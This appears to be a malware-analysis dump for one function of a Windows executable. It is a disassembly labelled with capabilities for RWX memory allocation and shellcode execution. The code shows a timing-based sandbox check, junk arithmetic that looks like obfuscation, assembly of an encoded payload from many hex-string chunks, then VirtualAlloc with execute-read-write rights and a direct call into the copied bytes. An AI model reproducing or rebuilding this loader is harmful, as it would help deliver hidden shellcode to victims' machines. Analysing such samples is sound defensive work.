Function at 0x140001905
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
sub rsp, 0x5f8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x590], ecx
mov qword [rbp + 0x598], rdx
call dbg.__main
call sym.clock
mov dword [rbp + 0x56c], eax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov ecx, 0x26
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x568], eax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov ecx, 0x6fa
call sym.malloc
mov qword [rbp + 0x560], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov eax, dword [rbp + 0x568]
sub eax, dword [rbp + 0x56c]
cmp eax, 0x25
jle 0x140002443
mov eax, dword [rbp + 0x568]
sub eax, dword [rbp + 0x56c]
cmp eax, 0x89
jg 0x140002443
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rcx, str.VfRkElu
call sym.printf
lea rax, str.94883020728c421544b8dcd04
mov qword [rbp + 0x558], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.8635f7f056bc2366363542b35bdbadde13248155a4442f00300018b8b
mov qword [rbp + 0x550], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.819d20b2040048113c040c18a8a8
mov qword [rbp + 0x548], rax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
lea rax, str.9e99f519f500118928ebafff8b8f41881ec8497a76295ef492e0e40329e
mov qword [rbp + 0x540], rax
mov dword [0x14001a010], 0
lea rax, str.fcf2ad59d0a8bbc3204d41f203b7a45598b52
mov qword [rbp + 0x538], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.010138002fb785f86090545474cc45807c644344c02444444585847
mov qword [rbp + 0x530], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.4ef434fe045b4c502f04ff1f4ce040e67530e8f0da67226623
mov qword [rbp + 0x528], rax
mov dword [0x14001a010], 0
lea rax, str.4224309da4702566e60c221233
mov qword [rbp + 0x520], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.3333d3d2e3f9243db50b0b5800ed8440f23000152029011bb8557b9b8c9c4b9b901139b076
mov qword [rbp + 0x518], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.678d17bad1ab1905fa8ff6f0f90801a2d1874383d741
mov qword [rbp + 0x510], rax
mov dword [0x14001a010], 0
lea rax, str.e4c7b004c2dd64e1113d83b2622a432258e9206a718f55706080a398095
mov qword [rbp + 0x508], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.6880fe50f046625cac08417
mov qword [rbp + 0x500], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.848080a0408080d54e5106540345a7734554c05d68f40d00e0551d96262194cb63637632235530fa7b98f
mov qword [rbp + 0x4f8], rax
mov dword [0x14001a010], 0
lea rax, str.543f9654494f5ff5e0ad7c6f7642dff40055eb0846050f330c0120201c1182828841110d184141189c12a91c6100933137
mov qword [rbp + 0x4f0], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.9812b5090dd50f305edb4152b0512a1ac0150035523a5780b24a5ac
mov qword [rbp + 0x4e8], rax
mov dword [0x14001a014], 0
lea rax, str.e27f38e2550578c4ccc24090fef00083710686
mov qword [rbp + 0x4e0], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.180d111405d454334c4378404d4dc4f44d4d05
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.524e66482cc475dc085334e45fc32808
mov qword [rbp + 0x4d0], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.de649d698232377042626325724230208922431e6bfeb1992052b5098da5e8dc73bd010a9444
mov qword [rbp + 0x4c8], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.98bc50f33888018b8dc011c1b018096115580808e108
mov qword [rbp + 0x4c0], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.9de0979116a89a9b1d0a83171a514b8f2fa80
mov qword [rbp + 0x4b8], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.232a26e0d0c00b577ee040327b475178836
mov qword [rbp + 0x4b0], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.19ba8cded34106daec3d8bc15000488a9234380f3e68c53880462e54880d1ec430735644454454560f743554b469ed48
mov qword [rbp + 0x4a8], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.b8c4ccbc08ea2abd3fbab3bb95246272467343378943b73ce7024b401755e68fc4c9918278b244004548d81c
mov qword [rbp + 0x4a0], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.7850932a3828b8fa1c218600083fd8
mov qword [rbp + 0x498], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.10986c189810ff941c8d0a8111f528419389910dc02f33fa940ae9e952d98d099f1e1e7e32ebdf96c78
mov qword [rbp + 0x490], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.91d757ace11aef6bf79a2aba08a0935999a405708050ee5454b472e40680545f3
mov qword [rbp + 0x488], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.4cedd4088555eff674434438455cd4d54c884540900ffa1208e9d227e776666446632221bfa9f3732
mov qword [rbp + 0x480], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.273a5626aa0187ab24e0849184403b0bedf8fb2ccd5e234016287ac2d210800b681918151bb4a12fffe51a121a911
mov qword [rbp + 0x478], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.16f9922689a22f510ff2db484cd71ba35
mov qword [rbp + 0x470], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.fa3fd3e4b0e106deff5843d3592262d0f38cda97909436720519015f1891050503e6f51405d084c37804ff6bdbc4f854d5
mov qword [rbp + 0x468], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.80fef9a31676562377ab88a05486f5169acc
mov qword [rbp + 0x460], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.4f4487c3
mov qword [rbp + 0x458], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x92
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov word [rdx], ax
add rdx, 2
mov byte [rdx], al
add rdx, 1
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcpy
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x480]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov dword [0x14001a014], 0
mov rdx, qword [rbp + 0x478]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x468]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x460]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x458]
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sym.strcat
mov dword [0x14001a010], 0
mov rax, qword [rbp + 0x560]
lea rdx, [0x14001b786]
mov rcx, rax
call sym.PpKzjUM
mov qword [rbp + 0x450], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x450]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.OooS
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4a7
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x448], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x448]
mov r8d, 0x4a7
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x448]
call rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add edx, eax
mov eax, dword [0x14001a018]
add eax, edx
mov edx, eax
lea rcx, [0x14001b789]
call sym.printf
jmp 0x140002465
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rcx, str.VfRkElu
call sym.printf
nop
add rsp, 0x5f8
pop rdi
pop rbp
ret